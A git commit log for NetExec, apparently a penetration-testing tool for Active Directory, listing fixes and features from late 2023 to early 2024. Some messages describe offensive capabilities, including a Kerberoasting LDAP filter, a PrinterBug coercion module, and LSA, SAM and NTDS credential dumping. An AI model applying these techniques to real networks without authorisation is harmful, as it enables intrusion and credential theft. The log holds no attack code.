Marshall Hallenbeck 6a4852e013 fix/feat: remove unnecessary and ugly ldap-attributes functionality; add in badPwdCount to --users 2024-03-21 20:12:06 -04:00
Marshall Hallenbeck 3a1e93a386 ruff: apply ruff 2024-03-21 20:12:06 -04:00
Marshall Hallenbeck 762a9ac102 feat(ldap): allow for adding additional attributes when querying for users 2024-03-21 20:12:06 -04:00
Marshall Hallenbeck 0eee328ea0 feat(ldap): allow for specifying specific users to dump for ldap and print last password set date 2024-03-21 20:12:06 -04:00
Alex 0608628aff Merge pull request #214 from Pennyw0rth/issue/203
Fix SMB users lookup and return last password set date
2024-03-22 00:48:01 +01:00
Marshall Hallenbeck 020ec1758c samruser: update --user output header 2024-03-21 19:43:00 -04:00
Alexander Neff 1e68591742 Formating 2024-03-21 23:49:35 +01:00
Marshall Hallenbeck 590a4e2536 format(logger): fix some newlining stuff that got messed up during old black formatting 2024-03-21 18:20:18 -04:00
Marshall Hallenbeck 3c1927afd7 fix: modules with a name between 8 and 10 length were being erroneously cut off 2024-03-21 18:16:09 -04:00
Marshall Hallenbeck 9a915f0f24 fix/feat(samruser): add back in bad password count to --users; closes #219 2024-03-21 18:12:40 -04:00
Marshall Hallenbeck 54e6ebb017 samruser: clean auth line up 2024-03-21 17:42:05 -04:00
Alexander Neff 2e196b5a50 Fix ruff linting 2024-03-21 19:09:15 +01:00
Alexander Neff 382af18513 Fixing enum_av process enumeration and adding more info to ESET 2024-03-21 19:06:21 +01:00
Alexander Neff 39bf9b109c Stop neo4j for spamming into the debug log 2024-03-21 19:06:14 +01:00
zblurx e06b28992d fix loot for GoogleRefreshToken 2024-03-21 17:42:12 +01:00
zblurx 0d1b4537a0 update dploot dep 2024-03-21 17:41:50 +01:00
zblurx 5cf6d55679 added sccm module 2024-03-21 17:41:40 +01:00
zblurx e8fe42cb4a fix ruff warning 2024-03-21 17:09:22 +01:00
zblurx addc060077 fix ldap signing check 2024-03-21 17:04:49 +01:00
Marshall Hallenbeck 2a66f36364 fix(users): remove domain from output, since it's implied, and set timestamp to <never> for last set password date if it should be 2024-03-20 21:57:39 -04:00
Marshall Hallenbeck 60f1785608 ruff: apply ruff 2024-03-20 18:03:28 -04:00
Marshall Hallenbeck ce9b766276 fix+feat(smb-users): allow requesting only specific users, print LastPwSet, and functionize more code for future use 2024-03-20 17:57:31 -04:00
Alex ae158614e6 Merge pull request #213 from Pennyw0rth/neff-nullauth-bh
Stop Netexec from adding null auth user to bloodhound
2024-03-20 01:02:31 +01:00
Alexander Neff d885974121 Stop nxc from trying to add null auth creds to bloodhound 2024-03-19 20:01:11 -04:00
Alex e367bf9fa8 Merge pull request #212 from Pennyw0rth/neff-fix-bloodhound-dump
Adding the fileNamePrefix which was introduced in bloodhound so files…
2024-03-20 00:58:43 +01:00
Alex 6b6decd1d7 Merge pull request #208 from Pennyw0rth/neff-fix-207
Revert #190 to enable null-auth without explicit specification
2024-03-20 00:58:15 +01:00
dt bcd0896bc1 Adding the fileNamePrefix which was introduced in bloodhound so files get properly zipped again 2024-03-19 21:24:09 +01:00
Alexander Neff 74b18fdf4e Merge branch 'main' into neff-fix-207 2024-03-18 23:34:36 +01:00
Marshall Hallenbeck e12fef0620 Merge pull request #163 from lodos2005/main
[Module] printerbug
2024-03-18 15:35:16 -04:00
Alexander Neff ca192d8f8e Revert #190 to enable functionality without explicit auth 2024-03-18 15:18:23 -04:00
Alex b62c315440 Merge pull request #65 from sebrink/main 2024-03-18 19:25:06 +01:00
Hakan Yavuz b8099a967a Merge branch 'main' into main 2024-03-17 23:36:38 -07:00
Alexander Neff dff88cb345 Use f-strings and make minor improvements 2024-03-17 02:24:24 +01:00
Alexander Neff 328b25b434 Remove unused import 2024-03-17 01:54:37 +01:00
Alexander Neff 45b02250e6 Merge branch main into neff-ldap-domain 2024-03-16 22:18:42 +01:00
Alexander Neff add1c66375 Remove check that should never happen 2024-03-16 21:33:45 +01:00
Alexander Neff efe59e33f1 Fix ruff linting 2024-03-16 19:26:10 +01:00
Alexander Neff b192c036cb Don't display observation window and lockout duration if lockout threshhold is 0, as they are disabled then 2024-03-16 19:13:11 +01:00
Alexander Neff 4d6d3bf766 Remove unused packages and display pso timedeltas as they are in active directory 2024-03-16 18:53:01 +01:00
Alexander Neff 5f88d6121a Formating and small code improvements 2024-03-16 17:10:19 +01:00
Alexander Neff 0acfc551ac Add missing imports and improve code 2024-03-16 17:03:47 +01:00
Alexander Neff 2e928d2b7c Rename module to match filename and use time conversion with packages already in nxc 2024-03-16 16:52:42 +01:00
Alexander Neff ddd36cc392 Remove unused imports 2024-03-16 16:41:30 +01:00
Alexander Neff a869c6f5e8 Merging main into fgpp and resolving conflicts 2024-03-15 00:56:38 +01:00
Marshall Hallenbeck 5d777547ed Merge pull request #206 from Pennyw0rth/marshall-issue-200-2
fix(wcc.py): properly escape for #200
2024-03-14 16:38:31 -04:00
Marshall Hallenbeck eab93ca3ee fix(wcc.py): properly escape for #200
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-03-14 16:03:31 -04:00
Alex 31aff31469 Merge pull request #41 from Shad0wC0ntr0ller/Obsolete
Extract obsolete operating systems from LDAP
2024-03-14 01:21:46 +01:00
Alexander Neff 30cab48d9b Changed manual path to nxc default path 2024-03-14 01:19:13 +01:00
Alex 632395f4d3 Merge branch 'main' into Obsolete 2024-03-14 01:13:30 +01:00
Alex cf8b2c05c0 Merge branch 'main' into main 2024-03-14 00:57:22 +01:00
Alexander Neff 64f3692624 Removing unused request options which throw an exception 2024-03-14 00:55:50 +01:00
Alexander Neff 24b00d9992 Formating 2024-03-14 00:55:25 +01:00
Alexander Neff 183d2b9dce Updated logging to use context logger and changed description 2024-03-14 00:44:47 +01:00
Marshall Hallenbeck 840446d810 Merge pull request #204 from Pennyw0rth/marshall-issue-200
Fix string escaping issues for Kali package, fix some logging, and allow for lsa and sam WinRM dumping
2024-03-13 15:21:12 -04:00
Marshall Hallenbeck d271d00eec fix(winrm): allow for --lsa and --sam at the same time, like smb allows 2024-03-13 13:02:50 -04:00
Marshall Hallenbeck 2efef82662 fix(escaping): update remaining string escaping issues for #200 2024-03-13 13:02:28 -04:00
Marshall Hallenbeck 48242de675 Merge branch 'main' into marshall-issue-200 2024-03-13 12:58:00 -04:00
Marshall Hallenbeck d11af2a296 fix(runasppl) set command string to raw and change error to debug as it is unnecessary and spammy 2024-03-13 12:50:33 -04:00
Alex 1708889721 Merge pull request #202 from Pennyw0rth/neff-update-neo4j 2024-03-13 11:00:56 +01:00
Alexander Neff 07050e153c Resolve conflicts 2024-03-12 23:22:00 +01:00
Alexander Neff bf1ab5bd76 Update neo4j python driver 2024-03-12 23:09:42 +01:00
Marshall Hallenbeck 5a1e139d85 fix: extra escape in string 2024-03-12 16:38:58 -04:00
Marshall Hallenbeck ec31181c3a fix: set string to raw 2024-03-12 16:37:03 -04:00
Marshall Hallenbeck 34db1985f3 change regex string to raw, but this module doesnt even work for checking for pws 2024-03-12 16:35:18 -04:00
Marshall Hallenbeck 2d68c179b8 fix: string formatting and improved logging for daclread 2024-03-12 15:23:08 -04:00
Marshall Hallenbeck f91cccf49e fix: string formatting for #200 2024-03-12 15:22:06 -04:00
Kahvi-0xFF 68c197d471 Improve Kerberoast Module
On a test where --kerberoast would not return a ticket for a user I knew was kerberoastable. After some digging I changed the LDAP query in ldap.py to be just "(&(servicePrincipalName=*)(!(objectCategory=computer)))". This removes the check for accounts locked out/inactive and this returned the ticket I was able to see with powerview. 

Personally would still like to get tickets for users that are disabled/locked out in order to attempt to crack their password and see if the password is reused. 

I also changed the error for Bypassing disabled account {sAMAccountName} to be highlight as I thought this is nice to have.

Signed-off-by: Kahvi-0xFF <[email protected]>
2024-03-12 12:53:23 -04:00
Shad0wC0ntr0ller 56ef949c92 Update obsolete.py
Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Shad0wC0ntr0ller 855bc89a2f Update obsolete.py
change ' to "

Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Shad0wC0ntr0ller 018cc98ed3 Update obsolete.py
Add pwdLastSet

Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Shad0wC0ntr0ller d99ddaaaec Update obsolete.py
Added Server 2012 to the vuln list

Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Shad0wC0ntr0ller 2c637eead7 Update obsolete.py
change cme to nxc

Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Shad0wC0ntr0ller 87fce318de Update obsolete.py
Updated separator in output 

Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Shad0wC0ntr0ller 68b2f01979 Extract obsolete operating systems from LDAP
Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Marshall Hallenbeck a4cbd5bf5d Merge pull request #171 from Pennyw0rth/neff-rem-pyreadline
Remove pyreadline as it causes errors in nxcdb
2024-03-12 11:14:16 -04:00
XiaoliChan 059013a0ab [lib] update impacket
Signed-off-by: XiaoliChan <[email protected]>
2024-03-12 16:36:06 +08:00
XiaoliChan 751544806b Add e2e
Signed-off-by: XiaoliChan <[email protected]>
2024-03-12 10:42:20 +08:00
Alex 19b89633b1 Merge branch 'neff-rem-pyreadline' of https://github.com/Pennyw0rth/NetExec into neff-rem-pyreadline 2024-03-12 01:46:31 +01:00
Alexander Neff d6f1ee25ed Update lock file 2024-03-12 01:45:52 +01:00
Alexander Neff 1a703c6ab6 Merge main 2024-03-12 00:58:03 +01:00
XiaoliChan 9b8b2e99ec Update kdchost description
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 18:32:03 +08:00
XiaoliChan 548a5e9228 Update impacket
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 18:26:40 +08:00
XiaoliChan fc9bf7f4e5 [LDAP] Fix logic with no-smb
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 14:51:35 +08:00
XiaoliChan 5efa1ef7f0 [LDAP] Fix logic with no-smb
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 14:40:17 +08:00
XiaoliChan 48be975341 [DNS] Clean SMB
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 12:46:14 +08:00
XiaoliChan 218518dbb6 [DNS] Clean SMB
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 12:19:48 +08:00
XiaoliChan 35d3a3d3c1 [DNS] Fix mssql
Signed-off-by: XiaoliChan <[email protected]>

[DNS] Fix mssql

Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 12:03:22 +08:00
XiaoliChan 3dcca25081 Merge remote-tracking branch 'upstream/main' into dns 2024-03-10 09:56:04 +08:00
XiaoliChan 9131e5cf9b Ruff
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 09:55:50 +08:00
XiaoliChan 2b75ed6784 [DNS] Fix RDP & ldap-checker
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 09:44:05 +08:00
Marshall Hallenbeck 3f31b2e231 Merge pull request #190 from Pennyw0rth/mpgn-patch-2
Update connection.py to force login
2024-03-09 12:34:28 -05:00
XiaoliChan 233136ae3e clean up
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 00:48:38 +08:00
XiaoliChan 55a4486dbe [mmcexec] avoid kerberos auth
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 22:56:39 +08:00
XiaoliChan 43576de135 [DNS] fix dcom
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 22:43:58 +08:00
XiaoliChan b42a7f17f5 [wmi] fix rdp
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 21:40:59 +08:00
XiaoliChan 30dd0cec91 Update impacket version
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 20:56:34 +08:00
XiaoliChan 5fd9e9b9a3 [DNS] Fix mssql
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 18:37:33 +08:00
mpgn 8215eaa27a Update connection.py
Signed-off-by: mpgn <[email protected]>
2024-03-09 01:52:50 -05:00
XiaoliChan 11600f7767 [DNS] Fix wmi
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan 184551ee30 [DNS] Fix module with kerberos
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan 1f4dcdc4e9 [DNS] Add remoteHost variable
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan cd5f8e7e47 [DNS] Add remoteHost variable
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan 3cf689c7f8 [DNS] Add remoteHost variable
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan ee6b74bbb8 [DNS] Ready for kdcHost
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
mpgn 8010f10552 fix ruff check 2024-03-09 01:52:16 -05:00
mpgn 05430a679e Set info as info 2024-03-09 01:52:16 -05:00
mpgn 30e9f0f153 Add ldap destination IP to be compatible with dns resolution 2024-03-09 01:52:16 -05:00
XiaoliChan 5fe1d988ea [DNS] Add DNS args
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
Marshall Hallenbeck d9e46dbb1f Merge pull request #136 from XiaoliChan/mssql-improv
[MSSQL] Improvement
2024-03-09 01:52:00 -05:00
XiaoliChan 9120d1d5dc [mssql] mpgn: review
Signed-off-by: XiaoliChan <[email protected]>
2024-03-04 21:24:37 +08:00
XiaoliChan 7d9ddfb1d6 Merge branch 'main' into mssql-improv 2024-03-03 20:07:00 +08:00
Alex 31b2a1f458 Merge pull request #191 from XiaoliChan/ntlm_parser
[lib] Improve ntlm_parser.py
2024-03-03 07:03:34 -05:00
Alex d6952025aa Merge pull request #193 from Pennyw0rth/Marshall-Hallenbeck-patch-1
Update README.md
2024-03-03 06:55:53 -05:00
Marshall Hallenbeck 88769b1b0d Update README.md
add Linux installation directly to README
fix french->english :P

Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-03-02 20:47:39 -05:00
zblurx ac2a56ef46 fix ldap-checker module 2024-02-29 16:36:53 +01:00
XiaoliChan 4a085781cf [mssql] Ready for PR #191
Signed-off-by: XiaoliChan <[email protected]>
2024-02-29 13:37:04 +08:00
XiaoliChan 423b70bcfb [lib] Improve ntlm_parser.py
Signed-off-by: XiaoliChan <[email protected]>
2024-02-29 13:26:00 +08:00
Alex 0d1c8bcdef Remove pyreadline as it causes errors in nxcdb 2024-02-28 12:49:37 -05:00
XiaoliChan 3af5186960 [mssql] remove drop mssql-ntlm-parser.py
Signed-off-by: XiaoliChan <[email protected]>
2024-02-28 12:47:56 +08:00
XiaoliChan 387538a979 Merge branch 'main' into mssql-improv 2024-02-28 09:14:02 +08:00
Alex ac60614474 Merge pull request #172 from XiaoliChan/winrm-ntlm-info
[winrm] say goodbye to SMB
2024-02-27 19:00:06 -05:00
Alexander Neff 9f0ac2cf90 Added fallback if build version is not available (yet) 2024-02-28 00:55:29 +01:00
XiaoliChan 1d1c03be7a [winrm] better os info
Signed-off-by: XiaoliChan <[email protected]>
2024-02-27 18:40:59 -05:00
Alexander Neff 7e0c0e0c07 Formating 2024-02-27 18:40:59 -05:00
Alexander Neff 1e12cadb33 Removed unused conditional function, removed "NT" from windows version so it matches SMB enumeration 2024-02-27 18:40:59 -05:00
XiaoliChan 19ee066542 [winrm] Ruff
Signed-off-by: XiaoliChan <[email protected]>
2024-02-27 18:40:59 -05:00
XiaoliChan 217cf21cff [winrm] Clean args.py
Signed-off-by: XiaoliChan <[email protected]>
2024-02-27 18:40:59 -05:00
XiaoliChan 9ceab247a8 [winrm] say goodbye to SMB
Signed-off-by: XiaoliChan <[email protected]>
2024-02-27 18:40:59 -05:00
Josh 7a46f9eb64 Update enum_ca.py
Signed-off-by: Josh <[email protected]>
2024-02-27 17:58:23 +01:00
Alexander Neff 97af55337c Added proposal by Dfte and formating 2024-02-27 17:58:23 +01:00
Josh bf61e93466 Update enum_ca.py
Updated as requested

Signed-off-by: Josh <[email protected]>
2024-02-27 17:58:23 +01:00
Josh b20f6e199d Update enum_ca.py
removed newline on line 1

Signed-off-by: Josh <[email protected]>
2024-02-27 17:58:23 +01:00
Josh a6fbdbff2b linted
ran through ruff
2024-02-27 17:58:23 +01:00
Josh c0ac682722 New Module
added anonymous ADCS CA enumeration module
2024-02-27 17:58:23 +01:00
Marshall Hallenbeck 6454ee7467 Merge pull request #186 from Pennyw0rth/neff-audit-mode
Fix audit_mode in ldap
2024-02-27 11:25:46 -05:00
Alexander Neff b7df87c7f7 Fix audit_mode in ldap 2024-02-27 11:23:45 -05:00
XiaoliChan 2a497f4965 Merge branch 'main' into mssql-improv 2024-02-27 17:56:33 +08:00
Alex 71ed38276a Merge pull request #187 from Pennyw0rth/neff-update-impacket
Update impacket dependency to pull latest changes
2024-02-27 04:40:50 -05:00
Alexander Neff 26c35b3811 Update impacket dependency to pull latest changes 2024-02-27 10:33:11 +01:00
XiaoliChan b8912b5166 [nanodump] Bug fixed
Signed-off-by: XiaoliChan <[email protected]>
2024-02-27 16:09:04 +08:00
XiaoliChan 1454b265ae Merge branch 'main' into mssql-improv 2024-02-27 14:12:46 +08:00
Hakan Yavuz 7909477ef7 Update printerbug.py
fix linter

Signed-off-by: Hakan Yavuz <[email protected]>
2024-02-26 22:28:48 +01:00
Hakan Yavuz 2feece33e6 Update printerbug.py
Fix linter

Signed-off-by: Hakan Yavuz <[email protected]>
2024-02-26 22:28:48 +01:00
Hakan Yavuz fddcf67a65 Update printerbug.py
Signed-off-by: Hakan Yavuz <[email protected]>
2024-02-26 22:28:48 +01:00
Hakan Yavuz e422a17080 Update printerbug.py
Fix trigger

Signed-off-by: Hakan Yavuz <[email protected]>
2024-02-26 22:28:48 +01:00
Hakan Yavuz 188f909e64 Create printerbug.py
Add MS-RPRN abuse (PrinterBug)

Signed-off-by: Hakan Yavuz <[email protected]>
2024-02-26 22:28:48 +01:00
Marshall Hallenbeck a70baec753 Merge pull request #173 from Dfte/main
Update ntlmv1.py
2024-02-26 10:23:40 -05:00
Marshall Hallenbeck 56338d28f8 Merge branch 'main' into main 2024-02-26 10:22:34 -05:00
XiaoliChan 666a81713a Merge branch 'main' into mssql-improv 2024-02-26 16:29:27 +08:00
Marshall Hallenbeck 49ca92d1f1 Merge pull request #176 from Pennyw0rth/neff-error-handling
Add error handling for protocol level
2024-02-22 16:56:40 -05:00
Marshall Hallenbeck 3c39b94ee8 Merge branch 'main' into neff-error-handling 2024-02-21 13:45:20 -05:00
Marshall Hallenbeck a69f3e737a Merge pull request #185 from Pennyw0rth/neff-fix-rrp
Remove unnecessary remote ops check
2024-02-21 13:43:54 -05:00
Marshall Hallenbeck b19b8884ad Merge branch 'main' into neff-fix-rrp 2024-02-21 13:23:31 -05:00
Alexander Neff 16c0237245 Impacket already checks if remote_ops is running, we don't need it in here
Besides that, it intruduces a bug where nxc think rrp is enabled, but we closed it before without setting the self.remote_ops variable to None. This leads to sometimes crashing in lsa/sam dump if the service wasnt started originally.
2024-02-21 19:11:09 +01:00
Alex 72ef88a8f1 Merge branch 'main' into neff-error-handling 2024-02-21 17:27:02 +01:00
Alex 5b32cd8cf5 Merge pull request #183 from Pennyw0rth/neff-fix-share-privs
Write without delete will now be displayed as write access
2024-02-18 12:23:08 +01:00
Alex c16aa4cd9f Add share name in debug info for write check 2024-02-18 11:48:28 +01:00
Alexander Neff 7d99d519e5 Write without delete will now be displayed as write access 2024-02-18 01:04:37 +01:00
Alex fe179b006a Merge pull request #179 from Pennyw0rth/neff-audit-mode
Allow a single word as audit mode "character"
2024-02-14 15:19:03 +01:00
Alexander Neff 3d9cbca7a8 Allow a whole word as audit mode character 2024-02-14 15:06:41 +01:00
Alex ae121c566a Merge pull request #123 from Pennyw0rth/nxcdb-marshall
nxcdb: refactor shared database/workspace setup code & allow for creation/setting of workspaces outside of nxcdb interactive console
2024-02-12 19:25:56 +01:00
Alex f76fb16311 Merge branch 'main' into nxcdb-marshall 2024-02-12 18:54:53 +01:00
Alexander Neff 0442376287 Add error handling for protocol level 2024-02-09 14:29:39 +01:00
Deft_ d6dae9c605 Update ntlmv1.py
Update the module as it was not working anymore and the values were not accurate 

Signed-off-by: Deft_ <[email protected]>
2024-02-08 11:54:08 +01:00
XiaoliChan 1e2e4adda4 Merge remote-tracking branch 'upstream/main' into mssql-improv 2024-02-07 23:34:57 +08:00
Alex a39f71ebbc Remove pyreadline as it causes errors in nxcdb 2024-02-06 11:28:32 +01:00
Marshall Hallenbeck 1645f672d3 Merge pull request #169 from fpreynaud/check_renames
[WCC] Make check names more explicit
2024-02-02 14:46:52 -05:00
François REYNAUD 1c822aae38 [WCC] Make check names more explicit 2024-02-02 16:48:33 +01:00
Marshall Hallenbeck 3c11b71ca6 Merge pull request #167 from Pennyw0rth/neff-deps
Hotfix: Allow broader version for argcomplete to fix macos installations
2024-02-02 10:45:17 -05:00
Alexander Neff 9696fe4c9a Allow broader version for argcomplete to fix macos installations 2024-01-29 14:53:46 +01:00
Marshall Hallenbeck c2e9fcc545 Merge branch 'main' into nxcdb-marshall 2024-01-22 16:52:28 -05:00
Marshall Hallenbeck 275bc41477 fix(database): only attempt to initialize default workspace if it doesnt exist 2024-01-22 16:52:18 -05:00
Marshall Hallenbeck 06ccf5eeec Merge pull request #153 from Pennyw0rth/neff-space-in-username
Fix usernames with empty spaces in ntds dump
2024-01-22 16:15:24 -05:00
Marshall Hallenbeck a94a1b27ea Merge branch 'main' into neff-space-in-username 2024-01-22 15:50:24 -05:00
Marshall Hallenbeck f058c2ddf7 Merge pull request #139 from Pennyw0rth/neff-asyncio
Surpress any errors when using rdp and broken python version
2024-01-22 15:50:00 -05:00
Marshall Hallenbeck d4f4c7c4a2 Merge branch 'main' into neff-asyncio 2024-01-22 15:30:03 -05:00
Marshall Hallenbeck f46c5eae17 Merge pull request #135 from Pennyw0rth/neff-win-firefox
Fix issue #134 with tempfile on windows
2024-01-22 15:27:29 -05:00
Marshall Hallenbeck d84eb7ed96 Merge branch 'main' into neff-win-firefox 2024-01-22 14:42:42 -05:00
Marshall Hallenbeck 6abdf079e6 Merge branch 'main' into nxcdb-marshall 2024-01-18 20:36:22 -05:00
Alex 9df72e2f68 Merge pull request #162 from thiagokokada/fix-some-issues-in-deps
Fix some issues in deps
2024-01-15 23:06:03 +01:00
Thiago Kenji Okada 1f8a948966 Set pyreadline for Win32 only 2024-01-14 17:57:18 +00:00
Thiago Kenji Okada 50962312a2 Move ruff to dev dependency 2024-01-14 17:54:07 +00:00
Thiago Kenji Okada b3a5c300b5 Remove resource
Introduced in 483dc69a2a, it points to
https://github.com/RussellLuo/resource, an unmaintained library.
However, it is clear in the code that this should have been resource
from stdlib instead (https://docs.python.org/3/library/resource.html),
and needs not to be included in `pyproject.toml`.
2024-01-14 17:51:30 +00:00
Alex 5f29e661b7 Merge pull request #155 from Pennyw0rth/neff-fix-modules-windows 2023-12-24 22:56:57 +01:00
Alexander Neff 5809a1470a Fixing module name check with windows backspace path 2023-12-24 22:16:27 +01:00
Alex dcbb01a39e Merge pull request #148 from Adamkadaban/argcomplete-completion
add argcomplete bash/zsh completion
2023-12-24 14:20:28 +01:00
Alexander Neff db2936db98 Update python version in readme 2023-12-24 14:16:11 +01:00
Alexander Neff a70f3e6ae3 Merge main into argcomplete 2023-12-24 13:41:05 +01:00
Alex 6115185d75 Merge pull request #132 from Pennyw0rth/neff-encode-errors 2023-12-23 17:23:04 +01:00
Alex 82e8c17e5d Merge pull request #130 from Pennyw0rth/binaries-neff 2023-12-23 17:22:53 +01:00
Alexander Neff 02bdbef712 Fix host domain display output when specifying domain in smb 2023-12-23 16:46:34 +01:00
Alexander Neff 303a051003 Fix host domain display output when specifying domain in ldap 2023-12-23 16:18:20 +01:00
Alex 5e964bb0eb Merge pull request #150 from Pennyw0rth/neff-enum_trusts
Remove domain DN from ldap query, fixes #144
2023-12-23 15:48:53 +01:00
Alex 2732987a6a Merge pull request #141 from Pennyw0rth/neff-laps 2023-12-22 18:20:51 +01:00
Alexander Neff 694f6a0984 Fix usernames with empty spaces in ntds dump 2023-12-22 17:42:58 +01:00
Alexander Neff 3dcd24869d Allow ldap connection with no smb and without domain 2023-12-22 17:10:07 +01:00
Alexander Neff 14391af612 Remove domain DN from ldap query, fixes #144 2023-12-18 01:48:50 +01:00
Alexander Neff 85b53868f2 Improve import 2023-12-17 19:40:53 +01:00
Alex 235d9e049f Merge branch 'main' into neff-encode-errors 2023-12-17 19:36:04 +01:00
Alexander Neff 5900029c4f Resetting lock file 2023-12-17 19:34:55 +01:00
Alex 7fb2a0f94c Merge branch 'main' into argcomplete-completion 2023-12-17 18:47:25 +01:00
Alex 8899c003c8 Merge pull request #133 from Syzik/ModulesEnumeration
Modules enumeration ldap
2023-12-17 13:15:43 +01:00
Alexander Neff b9a3f8f22f Resetting lock file 2023-12-16 18:59:53 +01:00
Alex c1d253800b Merge branch 'main' into ModulesEnumeration 2023-12-16 18:42:25 +01:00
Alexander Neff 67cb940775 Rename module filenames to match module name 2023-12-16 15:48:17 +01:00
Alexander Neff f82bd95442 Add argcomplete support for modules 2023-12-16 15:40:56 +01:00
Alexander Neff b18a5a770c Fix argcomplete version and drop python 3.7 support 2023-12-16 15:39:50 +01:00
Adamkadaban edfa64b5e9 add argcomplete bash/zsh completion 2023-12-16 05:47:03 -05:00
Alex ef4f2df92c Merge pull request #146 from 0xlazY/iis_quote_fix
Fix: iis module cmd exec quotes
2023-12-15 23:54:46 +01:00
Marshall Hallenbeck e90502d9da Merge branch 'main' into nxcdb-marshall 2023-12-14 15:22:05 -05:00
0xlazy a347fcc208 Fix: iis module cmd exec quotes 2023-12-13 15:01:47 +01:00
XiaoliChan ae5d57a75d [mssql] ruff
Signed-off-by: XiaoliChan <[email protected]>
2023-12-13 00:45:02 +08:00
XiaoliChan d6eb6c205a [mssql] add is_mssql check
Signed-off-by: XiaoliChan <[email protected]>
2023-12-13 00:40:12 +08:00
XiaoliChan b4ae46f65d [mssql] bug fix
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 17:32:24 +08:00
XiaoliChan 2c174369ba [mssql] less code
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 93f3bccd7b [mssql] fix ccache
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 8a5d77b1d7 [mssql] fix kerb_pass
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 86ebce4722 [mssql] self review
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 4a18e2f452 [mssql] Bringing up timeout argument
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 9a6a37152f [mssql] ruff
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan f7078bb76b [mssql] more linebreak
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan dd78e22938 [mssql] move outputBuffer
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan cbdf87a4d8 [mssql] bye bye '--no-smb'
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan cf91a11453 [mssql] self review
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan aade033254 [mssql] fix wrong things and add brackets
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 750d35e747 [mssql] revert pyproject.toml
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 6f1bcaaf46 [mssql] Enhance the error message
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 9e01b97694 [mssql] bye bye SMB :)
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
Alex 6c9afa37b7 Merge branch 'main' into binaries-neff 2023-12-11 08:24:13 +01:00
Alexander Neff cc1d90ca2a Merge main into neff-laps 2023-12-10 16:12:58 +01:00
Alex 4846464cd0 Merge pull request #114 from XiaoliChan/winrm-better-output
[winrm] better output
2023-12-10 16:03:08 +01:00
Alexander Neff afd568cf94 Fix correct protocol and port display output 2023-12-10 15:59:34 +01:00
Alex d4b3ace3a6 Merge branch 'main' into winrm-better-output 2023-12-09 20:34:05 +01:00
Alexander Neff f8982a8d65 Move detailed information to info logging output 2023-12-09 18:53:46 +01:00
Syzik 847f8c43a4 Merge branch 'main' into ModulesEnumeration 2023-12-09 03:40:57 +01:00
Alexander Neff 940f81dec4 Remove old laps checks 2023-12-09 01:19:55 +01:00
Alexander Neff 2793895b6e Fix hash and domain handling laps 2023-12-09 01:10:03 +01:00
Alexander Neff 14aedea969 Fix laps return values 2023-12-09 00:58:19 +01:00
Alexander Neff a7d780ebe4 Remove unused imports 2023-12-09 00:52:54 +01:00
Alexander Neff 89d4567a81 Enable logging from outside of modules 2023-12-09 00:52:27 +01:00
Alexander Neff 92273306ac Move laps login logic to connection.py 2023-12-09 00:52:00 +01:00
Marshall Hallenbeck 046b1f9113 Merge pull request #140 from Pennyw0rth/neff-wcc
Fix array index
2023-12-08 09:22:05 -05:00
Alexander Neff a8a810d32b Fix array index 2023-12-08 12:51:01 +01:00
syzik b2b56cd562 Module Description Fix (NeffIsBack) 2023-12-08 05:15:58 +01:00
